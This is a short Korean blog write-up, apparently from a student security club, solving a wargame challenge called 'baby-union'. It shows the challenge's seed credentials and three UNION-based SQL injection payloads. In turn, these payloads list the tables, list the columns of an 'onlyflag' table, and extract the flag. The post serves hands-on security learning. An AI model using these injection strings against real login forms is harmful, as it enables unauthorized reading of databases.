swuforce
[워게임] baby-union
범호야
2025. 9. 23. 23:16


문제와 서버에 들어가서 확인한 화면이다.
uid 와 upw를 입력하면 플래그가 나올 것 같다.
서버에서는 더 힌트를 얻을 수 없을 것 같아 init.sql를 확인해본다.

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
이 코드 부분이 uid,upw같다. 입력하면 테이블만 나오고 끝난다.
' union select table_name, null, null, null from information_schema.tables#
uid에 해당 명령어를 입력하고, upw에는 아무 값이나 입력하면 아래 사진과 같은 결과물을 얻을 수 있다.

' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
이 명령어를 입력하면 onlyflag라는 테이블의 컬럼을 볼 수 있다.


id와 derscription을 이어서 flag로 했더니 답이 아니라한다.
우리가 확인할 수 있는 컬럼이 3개이고 위에 코드 상으로 sname은 flag is를 가리키므로
' union select svalue, sflag, null, sclose from onlyflag #
로 입력하면 플래그를 얻을 수 있다.
